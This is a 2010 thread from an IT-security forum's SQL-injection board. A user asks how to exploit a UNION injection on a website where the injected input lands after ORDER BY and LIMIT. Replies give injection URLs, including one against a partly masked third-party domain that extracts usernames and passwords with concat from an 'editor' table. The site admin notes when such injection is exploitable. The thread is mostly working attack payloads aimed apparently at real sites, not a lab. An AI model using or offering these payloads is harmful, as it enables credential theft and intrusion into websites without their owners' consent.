Waraxe IT Security Portal
Login or Register
June 16, 2025
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 41
Members: 0
Total: 41
Full disclosure
SEC Consult SA-20250604-0 :: Local Privilege Escalation and Default Credentials in INDAMED - MEDICAL OFFICE (Medical practice management) Demo version
Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Defense in depth -- the Microsoft way (part 89): user grouppolicies don't deserve tamper protection
CVE-2025-45542: Time-Based Blind SQL Injection in CloudClassroom PHP Project v1.0
ERPNext v15.53.1 Stored XSS in bio Field Allows Arbitrary Script Execution in Profile Page
ERPNext v15.53.1 Stored XSS in user_image Field Allows Script Execution via Injected Image Path
Local information disclosure in apport and systemd-coredump
Stored XSS via File Upload - adaptcmsv3.0.3
IDOR "Change Password" Functionality - adaptcmsv3.0.3
Stored XSS "Send Message" Functionality - adaptcmsv3.0.3
Authenticated File Upload to RCE - adaptcmsv3.0.3
Stored XSS in "Description" Functionality - cubecartv6.5.9
Multiple Vulnerabilities in SAP GuiXT Scripting
CVE-2024-47081: Netrc credential leak in PSF requests library
Exploit CVE-2019-9978: Remote Code Execution in Social Warfare WordPress Plugin (<= 3.5.2)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> A little help
Post new topicReply to topic View previous topic :: View next topic
A little help
PostPosted: Wed Dec 08, 2010 2:26 pm Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




Hi

I have a mysql error with
Code:
http://www.site.com/rub.php?id_rub=8&id_depart=100+union+all+select+1,2--+


showing the full request :
Code:
SELECT pa_annonces.* , pa_annonces.cp AS cp_bien, UNIX_TIMESTAMP(pa_annonces.date) AS monchampdate, users.id AS id_user, users.pseudo, users.mail_user, users.cp AS cp_user, users.tel AS tel_user, users.fax, users.siret, users.site_web, users.texte_url_pa, pa_transactions.transaction, pa_transactions.color, pa_rubriques.rubrique, pa_marques.marque, pa_energies.energie, pa_cylindrees.cylindree, pa_immobilier.type, pa_situations.situation FROM pa_annonces LEFT JOIN users ON pa_annonces.id_user=users.id LEFT JOIN pa_transactions ON pa_annonces.id_transaction=pa_transactions.id LEFT JOIN pa_rubriques ON pa_annonces.id_rubrique=pa_rubriques.id LEFT JOIN pa_marques ON pa_annonces.id_marque=pa_marques.id LEFT JOIN pa_energies ON pa_annonces.id_energie=pa_energies.id LEFT JOIN pa_cylindrees ON pa_annonces.id_cylindree=pa_cylindrees.id LEFT JOIN pa_immobilier ON pa_annonces.id_immobilier=pa_immobilier.id LEFT JOIN pa_situations ON pa_annonces.id_situation=pa_situations.id WHERE pa_annonces.valide='1' AND pa_annonces.id_rubrique='8' ORDER BY pa_annonces.top DESC, pa_annonces.date DESC LIMIT 100 union all select 1,2-- ,20


with the error :
Code:
Incorrect usage of UNION and ORDER BY


But i dont have a clue about how inserting my request after this Order BY and LIMIT...
If someone could help me, it would be great !

Thanks !
View user's profile Send private message
PostPosted: Wed Dec 08, 2010 2:36 pm Reply with quote
pink_spider
Advanced user
Advanced user
Joined: Aug 28, 2010
Posts: 91




test:

Code:
http://www.site.com/rub.php?id_rub=8&id_depart=100+and+(1)=(union+(select+1,2))--
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Wed Dec 08, 2010 2:58 pm Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




Thanks for your help but it doesnt work.
here is the sql log :
Code:
SELECT pa_annonces.* , pa_annonces.cp AS cp_bien, UNIX_TIMESTAMP(pa_annonces.date) AS monchampdate, users.id AS id_user, users.pseudo, users.mail_user, users.cp AS cp_user, users.tel AS tel_user, users.fax, users.siret, users.site_web, users.texte_url_pa, pa_transactions.transaction, pa_transactions.color, pa_rubriques.rubrique, pa_marques.marque, pa_energies.energie, pa_cylindrees.cylindree, pa_immobilier.type, pa_situations.situation FROM pa_annonces LEFT JOIN users ON pa_annonces.id_user=users.id LEFT JOIN pa_transactions ON pa_annonces.id_transaction=pa_transactions.id LEFT JOIN pa_rubriques ON pa_annonces.id_rubrique=pa_rubriques.id LEFT JOIN pa_marques ON pa_annonces.id_marque=pa_marques.id LEFT JOIN pa_energies ON pa_annonces.id_energie=pa_energies.id LEFT JOIN pa_cylindrees ON pa_annonces.id_cylindree=pa_cylindrees.id LEFT JOIN pa_immobilier ON pa_annonces.id_immobilier=pa_immobilier.id LEFT JOIN pa_situations ON pa_annonces.id_situation=pa_situations.id WHERE pa_annonces.valide='1' AND pa_annonces.id_rubrique='8' ORDER BY pa_annonces.top DESC, pa_annonces.date DESC LIMIT 100 and (1)=(union (select 1,2))--,20


and then, the error :
Code:
Syntax error near 'and (1)=(union (select 1,2))--,20'
View user's profile Send private message
PostPosted: Fri Dec 10, 2010 3:58 am Reply with quote
Despotic
Active user
Active user
Joined: Nov 17, 2010
Posts: 42




Are you sure there are only 2? (ie 1,2--) There may be more.
take a look at this. It might help.
Code:

http://www.co-p**n.org/egug/rub.php?idr=7+and+1=2+union+all+select+1,2,3,concat(username,char(58),password),5,6,7,8,9+from+editor--&l=a


and drop the "ALL" from your union select statement.
View user's profile Send private message
PostPosted: Mon Dec 13, 2010 9:10 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Sql injection after ORDER BY and LIMIT is not exploitable in most cases. INSERT INTO may be possible, if "magic_quotes_gpc=off" and FILE privileges are available. PROCEDURE may be useful in some rare cases.
View user's profile Send private message Send e-mail Visit poster's website
A little help
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.024 Seconds